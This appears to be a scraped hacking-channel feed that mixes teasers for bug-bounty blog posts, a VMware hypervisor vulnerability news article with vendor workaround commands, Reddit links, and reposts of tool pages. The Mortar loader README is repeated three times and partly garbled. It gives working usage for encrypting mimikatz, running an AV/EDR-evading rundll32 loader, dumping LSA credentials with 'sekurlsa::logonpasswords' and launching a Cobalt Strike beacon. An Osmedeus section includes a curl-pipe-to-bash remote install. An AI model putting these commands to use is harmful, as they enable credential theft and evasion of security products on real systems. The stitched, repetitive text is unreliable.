Hacking on Medium
SQL Injection Attacks

https://cdn-images-1.medium.com/max/2600/0*R8g8smnlG45Ng85f
Ashwattha Phatak, Prasad Peshave, Riya Patil, Prapti Patil , Vaishnavi Pingat

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

A TALE OF 5250$ : HOW I ACCESSED MILLIONS OF USER’S DATA INCLUDING THEIR NATIONAL ID’S

Hi, Hope you guys are doing well, And a Happy New Year, YAY! ✨, Let’s start the blog without wasting more time.Continue reading on InfoSec Write-ups »
Read more...

How i got financial advisor by simply hack into their membership plan !

Hello Infosec geeksContinue reading on Medium »
Read more...

Mortar - Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)

red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following: Kaspersky ESET Malewarebytes Mcafee Cortex XDR Windows defender Cylance TrendMicro detailed research and techniques : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk Usage Encryptor root@kali>./encryptor -f mimikatz.exe -o bin.enc Loader (DLL) for bypassing Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file @echo off cmd.exe /c rundll32.exe agressor.dll,stealth for normal usage you can directly execute the agressor.dll rundll32.exe agressor.dll,dec Loader (EXE) the executable version has more options you can use, as you able to pass commands for the loaded binary ##Mimikatz dump LSA deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc ## Cobalt strike beacon deliver.exe -d -f cobalt.enc Compiling the Loader (windows only) the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build Compiling Encryptor(Linux/BSD/Arm/MacOS//windows) either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads) #Debian & Ubuntu apt install fpc apt install lazarus-ide Support the research if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp Download Mortar
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Mortar - Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)
http://www.kitploit.com/2022/01/mortar-evasion-technique-to-defeat-and.html

___________________________
@hacking_Attack
@Hacking_Video

red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption (https://www.kitploit.com/search/label/Encryption) and decryption (https://www.kitploit.com/search/label/Decryption) of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following: Kaspersky ESET Malewarebytes Mcafee Cortex XDR Windows defender (https://www.kitploit.com/search/label/Defender) Cylance TrendMicro
detailed research and techniques : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk Usage Encryptor ./encryptor -f mimikatz.exe -o bin.enc ">root@kali>./encryptor -f mimikatz.exe -o bin.enc

Loader (DLL) for bypassing (https://www.kitploit.com/search/label/Bypassing) Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file @echo off
cmd.exe /c rundll32.exe agressor.dll,stealth
for normal usage you can directly execute the agressor.dll rundll32.exe agressor.dll,dec
Loader (EXE) the executable version has more options you can use, as you able to pass commands for the loaded binary ##Mimikatz dump LSA
deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc

## Cobalt strike beacon
deliver.exe -d -f cobalt.enc

Compiling the Loader (windows only) the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build Compiling Encryptor(Linux/BSD/Arm/MacOS//windows) either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads) #Debian & Ubuntu

apt install fpc
apt install lazarus-ide

Support the research if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp

Download Mortar (https://github.com/0xsp-SRD/mortar)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tool: Osmedeus

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: OsmedeusPost Views: 208 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 3 Minutes

Offensive Security Tool: Osmedeus GitHub Link Osmedeus Core Enginehttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/logo-transparent.png

Osmedeus – A Workflow Engine for Offensive Security
Osmedeus by J3ssie, is a Workflow Engine for Offensive Security. It was designed to build a foundation with the capability and flexibility that allow you to automatic your reconnaissance methodology on a large number of targets.

Performing Bug Bounty or Pentesting against huge companies with many indexed pages requires a special technique, experienced bug bounty hunters create their own methodologies that consist of the way they think of building a tool with speed, less false positives and more accurate results done in the way its coded. This tool, automated all these techniques and lets you focus on the findings and results which is what goes down to at the end. It combines some of the most used bug bounty tools into one whole workflow automated system ready to go! The Engine has successfully found a tremendous number of security vulnerabilities in many big companies out there with its unique reconnaissance methodology such as: Google, Microsoft, Starbucks, Apple, Netflix, PayPal and many more! FeaturesThis latest V4 Release written in GO brings outstanding new features such as:

-Better Architecture
-Faster, Stable and More Flexible
-Easier to Customize and Extend
-Auto Clean Junk Output and Backup
-Cloud Distributed Scans
-Synchronize data across machines
See Also: iOS malware can fake iPhone shut downs to snoop on camera, microphone Installation| NOTE that you need some essential tools like curl, wget, git, zip and login as root to start

bash -c “$(curl -fsSL https://raw.githubusercontent.com/osmedeus/osmedeus-base/master/install.sh)” Build the engineMake sure you installed golang >= v1.17

mkdir -p $GOPATH/src/github.com/j3ssie
git clone –depth=1 https://github.com/j3ssie/osmedeus $GOPATH/src/github.com/j3ssie/osmedeus
cd $GOPATH/src/github.com/j3ssie/osmedeus
make build
See Also: Complete Offensive Security and Ethical Hacking Course Usage# Practical Usage:
osmedeus scan -f [flowName] -t [target]
osmedeus scan -f [flowName] -T [targetsFile]
osmedeus scan -f /path/to/flow.yaml -t [target]
osmedeus scan -m /path/to/module.yaml -t [target] –params ‘port=9200’
osmedeus scan -m /path/to/module.yaml -t [target] -l /tmp/log.log
cat targets | osmedeus scan -f sample


# Example Commands:
osmedeus scan -t target.com
osmedeus scan -T list_of_targets.txt -W custom_workspaces
osmedeus scan -t target.com -w workspace_name –debug
osmedeus scan -f single -t www.sample.com
osmedeus scan -f ovuln-T list_of_target.txt
osmedeus scan -m ~/osmedeus-base/workflow/test/dirbscan.yaml -t list_of_urls.txt
osmedeus health
ls ~/.osmedeus/storages/summary/ | osmedeus scan -m ~/osmedeus-base/workflow/test/dirbscan.yaml
ls ~/.osmedeus/storages/summary/ | osmedeus scan -m ~/osmedeus-base/workflow/test/busting.yaml -D


# Start Web UI at https://localhost:8000/ui/
osmedeus server
# login with credentials from `~/.osmedeus/config.yaml`


# Delete workspace
osmedeus config delete -w workspace_name
See Also: Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/basic_spraying[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Partially Unpatched VMware Bug Opens Door to Hypervisor Takeover

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Partially Unpatched VMware Bug Opens Door to Hypervisor TakeoverPost Views: 162 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes
A security vulnerability in VMware’s Cloud Foundation, ESXi, Fusion and Workstation platforms could pave the way for hypervisor takeover in virtual environments – and a patch is still pending for some users.
The issue affects a wide swath of the virtualization specialist’s portfolio and affects Windows, Linux and Mac users. Details about the platforms:

* Cloud Foundation is VMware’s multicloud management platform, providing software-defined services for compute, storage, network, security, Kubernetes and so on.
* ESXi is a bare-metal hypervisor that installs on a server and partitions it into multiple virtual machines (VMs).
* Fusion is a software hypervisor that allows Intel-based Macs to run VMs with guest operating systems – such as Microsoft Windows, Linux, NetWare, Solaris or macOS.
* Workstation enables users to set up VMs on a single physical machine.
The bug (CVE-2021-22045) is a high-severity heap-overflow vulnerability carrying a CVSS rating of 7.7 out of 10. Heap overflows are memory issues that can result in data corruption or unexpected behavior by any process that accesses the affected memory area – in some cases resulting in remote code execution (RCE).

In this case, the problem specifically exists in the CD-ROM device emulation function of the affected products.

“A malicious actor with access to a virtual machine with CD-ROM device emulation may be able to exploit this vulnerability in conjunction with other issues, to execute code on the hypervisor from a virtual machine,” the vendor noted in its advisory. “Successful exploitation requires a CD image to be attached to the virtual machine.”
See Also: Complete Offensive Security and Ethical Hacking Course
Reno Robert, senior vulnerability researcher for Trend Micro’s Zero Day Initiative, told Threatpost that the issue results from “the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer.” Complex but Dangerous ExploitationRobert added that even though the bug allows an untrusted guest OS user to execute code on the hypervisor, “an attacker would not have control over the data written, so exploitation this would be difficult.”

Hence the need to be used “in conjunction with other issues.” Reno explained that an example of other issues “could be an information-disclosure vulnerability that provide details on the memory layout. This would making exploitation more feasible.”

If successful though, attackers could compromise the host operating system of the hypervisor. Taking over a hypervisor, which is the highly privileged software that creates and runs VMs and governs how resources are shared among them (such as memory and processing), can give cybercriminals a clear path to accessing any of the data or applications stored in the VMs it controls, and executing code or installing files on those VMs, depending on the security controls that are implemented.

Researcher “Jaanus K\xc3\xa4\xc3\xa4p” with Clarified Security and Trend Micro’s ZDI were credited with discovering the bug.
See Also: Hackers start pushing malware in worldwide Log4Shell attacks Patch VMware CVE-2021-22045 NowAffected product versions are: ESXi 6.5, 6.7 and 7 (version 7 remains unpatched for now); Fusion 12.x; Workstation 16.x; and all versions [...]

___________________________
@hacking_Attack
@Hacking_Video

-90x90.png Offensive Security Tool: Spray3657 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-attack-diagram-r3-90x90.png Offensive Security Tool: log4j Honeypot Flask2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-scan-90x90.png Offensive Security Tool: log4j-scan3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/40pivot2-90x90.png Offensive Security Tool: Cobalt Strike4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/gomapenum-90x90.png Offensive Security Tool: GoMapEnum1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/hashcat-90x90.png Offensive Security Tool: Hashcat1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/bugbountytools-90x90.png Offensive Security Tools: Awesome Bug Bounty Tools2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/unknown-1-90x90.png Offensive Security Tool: Pentesting Tools2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/unknown-90x90.png Offensive Security Tool: DotDotPwn – The Directory Traversal Fuzzer2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/unknown-1-90x90.png Offensive Security Tool: ZipExec2 months ago
The post Offensive Security Tool: Osmedeus first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

of VMware Cloud Foundation. Patch information can be found in the vendor’s advisory.

Users should patch as soon as possible, given that VMware is a favorite target for cybercriminals. For instance, just days after a critical CVE-2021-22005 RCE vulnerability in VMware vCenter was disclosed, a full working exploit was public and being used in the wild.

ESXi users are especially at risk: While the solution makes it easy for multiple VMs to share the same hard-drive storage, it also sets systems up to be one-stop shopping spots for attacks, researchers say, since attackers can target the centralized virtual hard drives used to store data from across VMs.

“ESXi servers represent an attractive target for ransomware threat actors because they can attack multiple VMs at once, where each of the VMs could be running business-critical applications or services,” Andrew Brandt, principal researcher at Sophos, recently explained. “Attacks on hypervisors can be both fast and highly disruptive.”

He was discussing a spate of attacks in October that used a Python code that took less than three hours to complete a ransomware attack on ESXi servers, from initial breach to encryption. That incident joined other ransomware efforts targeting the hypervisor: REvil ransomware threat actors last year came up with a Linux variant that targeted VMware ESXi; and in September HelloKitty joined the growing list going after the juicy target. DarkSide also targeted ESXi servers last year.
See Also: Offensive Security Tool: Spray365 Workaround for ESXi v.7 UsersOf course, all of that is bad news for ESXi v.7 users, who don’t yet have a patch for this latest bug. VMware did, however, issue a workaround that can be used for now, involving disabling CD-ROM/DVD functionality.

The steps are:

1. Log in to a vCenter Server system using the vSphere Web Client.
2. Right-click the virtual machine and click Edit Settings.
3. Select the CD/DVD drive and uncheck “Connected” and “Connect at power on” and remove any attached ISOs.
See Also: Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell
To enumerate the VMs that have a CD-ROM/DVD device attached, users can run the following command, according to the vendor:

Get-VM | Get-CDDrive | Where {$_.extensiondata.connectable.connected -eq $true} | Select Parent

Then the following command will remove and disconnect the attached CD-ROM/DVD device:

Get-VM | Get-CDDrive | Where {$_.extensiondata.connectable.connected -eq $true} | Set-CDDrive -NoMedia -confirm:$false
Source: threatpost.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Apple-iPhone-13-Pro-90x90.png iOS malware can fake iPhone shut downs to snoop on camera, microphone1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/0358ad020c37-article-cache-poisoning-article-90x90.png Researcher discovers 70 web cache poisoning vulnerabilities, nets $40k in bug bounty rewards2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/1200x0-90x90.jpg Apple iOS vulnerable to HomeKit ‘doorLock’ denial of service bug3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/exchange-90x90.png Microsoft releases emergency fix for Exchange – 2022 bug4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/maxresdefault-90x90.jpg Have I Been Pwned adds 441K accounts stolen by RedLine malware1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/1229111902.0-90x90.jpg T-Mobile says new data breach caused by SIM swap attacks1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/feature-log4j-blue-90x90.png Log4j 2.17.1 out now, fixes new remote code execution bug1 week ag[...]

___________________________
@hacking_Attack
@Hacking_Video

o
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/qnap-logo-white-90x90.jpg QNAP NAS devices hit in surge of ech0raix ransomware attacks1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/shutterstock_495927541-90x90.jpg Wireless coexistence – New attack technique exploits Bluetooth, WiFi performance features2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/apple-store-tower-90x90.jpg Apple fixes macOS security flaw behind Gatekeeper bypass2 weeks ago
The post Partially Unpatched VMware Bug Opens Door to Hypervisor Takeover first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
OSINT — Obter o E-mail de um Perfil do Linkedin

https://cdn-images-1.medium.com/max/628/0*x_YXDRdQS2h7ix7y.png
Devido aos vazamentos de dados do Linkedin algumas informações como o ID e o E-mail do perfil do usuário foram disponibilizados no…

Continue reading on 100security »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Mortar - Evasion Technique To Defeat And Divert Detection And Prevention Of Security Products (AV/EDR/XDR)

https://blogger.googleusercontent.com/img/a/AVvXsEhvnvzhn-_TCLrXogCPlq79hBcS-wGNTuNd-3fNf_Vs2NthcX9cM52F3FFkSo8YXZHH1vyZj2FjUV9I8IhZ3QQAjBfnsvC-ro5kyhXuw5t2xO54UhGm6_pLLhrntvTMn_vN03zl7ww0N99_pJxB4g2rZ3n4ycpdqmDFJhKtJppYpiDKltQ_Wjjb4iOM=w640-h360
red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption of selected binary inside the memory streams and execute it directly with out writing any malicious indicator into the hard-drive. Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following:

* Kaspersky
* ESET
* Malewarebytes
* Mcafee
* Cortex XDR
* Windows defender
* Cylance
* TrendMicro
detailed research and techniques : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions

CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk

Usage

Encryptor

root@kali>./encryptor -f mimikatz.exe -o bin.enc



Loader (DLL)

for bypassing Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file

@echo off
cmd.exe /c rundll32.exe agressor.dll,stealth


for normal usage you can directly execute the agressor.dll

rundll32.exe agressor.dll,dec


Loader (EXE)

the executable version has more options you can use, as you able to pass commands for the loaded binary

##Mimikatz dump LSA
deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc

## Cobalt strike beacon
deliver.exe -d -f cobalt.enc



Compiling the Loader (windows only)

the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build

Compiling Encryptor(Linux/BSD/Arm/MacOS//windows)

either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads)

#Debian & Ubuntu

apt install fpc
apt install lazarus-ide



Support the research

if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp
Download Mortar

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I want to know what happened to our family computer back in late 2000’s.

So our family shared a desktop computer and at that time being no older than 5-6 years old, I had no knowledge of the dangers of clicking suspicious links or ads. I don’t believe my parents had either, because they still tend to click on sketchy links on facebook until this day. Here are some things I remember. The main tab didn’t look like Google at all, it was full of russian bookmarks. It was extremely laggy. The thing that creeped me out the most was slient male russian voices coming through the speakers. You could only hear them when the volume was turned off to the lowest, but when you slightly increased the volume, the voices disappeared. It sounded almost like a radio station. As I am more aware of these things now that I grew older, I am 100% sure the computer was hacked because of how the main tab looked like. But I don’t know about the voices part. Where were they coming from? Why could you only hear them when the volume was down? Could it have been that bad that someone could have watched us through the webcam? Please someone help me get the answers for something that haunts me ‘til this day. Also, sorry for my english, it’s not my native language. Thank you!

submitted by /u/D3composition
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

EDR Parallel-asis through Analysis - @MDSecLabs
https://www.reddit.com/r/redteamsec/comments/ry777q/edr_parallelasis_through_analysis_mdseclabs/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/) [comments] (https://www.reddit.com/r/redteamsec/comments/ry777q/edr_parallelasis_through_analysis_mdseclabs/)

___________________________
@hacking_Attack
@Hacking_Video

Bypassing Door Passwords w/wo default passwords
https://www.reddit.com/r/redteamsec/comments/ry9pof/bypassing_door_passwords_wwo_default_passwords/

submitted by /u/SocketPuppets (https://www.reddit.com/user/SocketPuppets)
[link] (https://sockpuppets.medium.com/bypassing-door-passwords-4004b8d7995) [comments] (https://www.reddit.com/r/redteamsec/comments/ry9pof/bypassing_door_passwords_wwo_default_passwords/)

___________________________
@hacking_Attack
@Hacking_Video